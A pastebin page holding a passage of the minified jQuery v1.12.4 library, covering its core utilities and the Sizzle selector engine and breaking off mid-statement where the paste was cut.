Untitled

From Anonymous, 22 Hours ago, written in Plain Text, viewed 1 times. This paste will slip away in 6 Days.
URL http://minetest.wjake.com/stikked/view/e389969c Embed
Download Paste or View Raw
  1. /*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */
  2. !function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="1.12.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(e.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:g,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){var b=a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;try{if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}if(!l.ownFirst)for(b in a)return k.call(a,b);for(b in a);return void 0===b||k.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?i[j.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(s(a)){for(c=a.length;c>d;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):g.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(h)return h.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=e.call(arguments,2),d=function(){return a.apply(b||this,c.concat(e.call(arguments)))},d.guid=a.guid=a.guid||n.guid++,d):void 0},now:function(){return+new Date},support:l}),"function"==typeof Symbol&&(n.fn[Symbol.iterator]=c[Symbol.iterator]),n.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){i["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=!!a&&"length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ga(),z=ga(),A=ga(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+M+"))|)"+L+"*\\]",O=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+N+")*)|.*)\\)|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),R=new RegExp("^"+L+"*,"+L+"*"),S=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),T=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),U=new RegExp(O),V=new RegExp("^"+M+"$"),W={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M+"|[*])"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},X=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Z=/^[^{]+\{\s*\[native \w/,$=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,_=/[+~]/,aa=/'|\\/g,ba=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),ca=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},da=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(ea){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==x&&(o=$.exec(a)))if(f=o[1]){if(9===x){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(w&&(j=w.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(o[2])return H.apply(d,b.getElementsByTagName(a)),d;if((f=o[3])&&c.getElementsByClassName&&b.getElementsByClassName)return H.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==x)w=b,s=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(aa,"\\$&"):b.setAttribute("id",k=u),r=g(a),h=r.length,l=V.test(k)?"#"+k:"[id='"+k+"']";while(h--)r[h]=l+" "+qa(r[h]);s=r.join(","),w=_.test(a)&&oa(b.parentNode)||b}if(s)try{return H.apply(d,w.querySelectorAll(s)),d}catch(y){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(Q,"$1"),b,d,e)}function ga(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ha(a){return a[u]=!0,a}function ia(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ja(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function na(a){return ha(function(b){return b=+b,ha(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function oa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=fa.support={},f=fa.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fa.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ia(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ia(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Z.test(n.getElementsByClassName),c.getById=ia(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return"undefined"!=typeof b.getElementsByClassName&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=Z.test(n.querySelectorAll))&&(ia(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Z.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ia(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",O)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Z.test(o.compareDocumentPosition),t=b||Z.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},fa.matches=function(a,b){return fa(a,null,null,b)},fa.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(T,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fa(b,n,null,[a]).length>0},fa.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fa.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fa.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fa.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fa.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fa.selectors={cacheLength:50,createPseudo:ha,match:W,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ba,ca),a[3]=(a[3]||a[4]||a[5]||"").replace(ba,ca),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fa.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fa.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return W.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&U.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ba,ca).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fa.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(P," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fa.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ha(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ha(function(a){var b=[],c=[],d=h(a.replace(Q,"$1"));return d[u]?ha(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ha(function(a){return function(b){return fa(a,b).length>0}}),contains:ha(function(a){return a=a.replace(ba,ca),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ha(function(a){return V.test(a||"")||fa.error("unsupported lang: "+a),a=a.replace(ba,ca).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Y.test(a.nodeName)},input:function(a){return X.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:na(function(){return[0]}),last:na(function(a,b){return[b-1]}),eq:na(function(a,b,c){return[0>c?c+b:c]}),even:na(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:na(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:na(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:na(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=la(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=ma(b);function pa(){}pa.prototype=d.filters=d.pseudos,d.setFilters=new pa,g=fa.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=R.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=S.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(Q," ")}),h=h.slice(c.length));for(g in d.filter)!(e=W[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?fa.error(a):z(a,i).slice(0)};function qa(a){for(var b=0,c=a.length,d="";c>b;b++)d+=a[b].value;return d}function ra(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j,k=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(j=b[u]||(b[u]={}),i=j[b.uniqueID]||(j[b.uniqueID]={}),(h=i[d])&&h[0]===w&&h[1]===f)return k[2]=h[2];if(i[d]=k,k[2]=a(b,c,g))return!0}}}function sa(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ta(a,b,c){for(var d=0,e=b.length;e>d;d++)fa(a,b[d],c);return c}function ua(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function va(a,b,c,d,e,f){return d&&!d[u]&&(d=va(d)),e&&!e[u]&&(e=va(e,f)),ha(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ta(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ua(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ua(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ua(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function wa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ra(function(a){return a===b},h,!0),l=ra(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[ra(sa(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return va(i>1&&sa(m),i>1&&qa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(Q,"$1"),c,e>i&&wa(a.slice(i,e)),f>e&&wa(a=a.slice(e)),f>e&&qa(a))}m.push(c)}return sa(m)}function xa(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=F.call(i));u=ua(u)}H.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&fa.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ha(f):f}return h=fa.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xa(e,d)),f.selector=a}return f},i=fa.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ba,ca),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=W.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ba,ca),_.test(j[0].type)&&oa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qa(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||_.test(a)&&oa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ia(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ia(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ja("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ia(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ja("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ia(function(a){return null==a.getAttribute("disabled")})||ja(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fa}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.uniqueSort=n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},v=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},w=n.expr.match.needsContext,x=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,y=/^.[^:#\[\.,]*$/;function z(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(y.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>-1!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++)if(n.contains(d[b],this))return!0}));for(b=0;e>b;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(z(this,a||[],!1))},not:function(a){return this.pushStack(z(this,a||[],!0))},is:function(a){return!!z(this,"string"==typeof a&&w.test(a)?n(a):a||[],!1).length}});var A,B=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=n.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||A,"string"==typeof a){if(e="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:B.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),x.test(e[1])&&n.isPlainObject(b))for(e in b)n.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}if(f=d.getElementById(e[2]),f&&f.parentNode){if(f.id!==e[2])return A.find(a);this.length=1,this[0]=f}return this.context=d,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof c.ready?c.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};C.prototype=n.fn,A=n(d);var 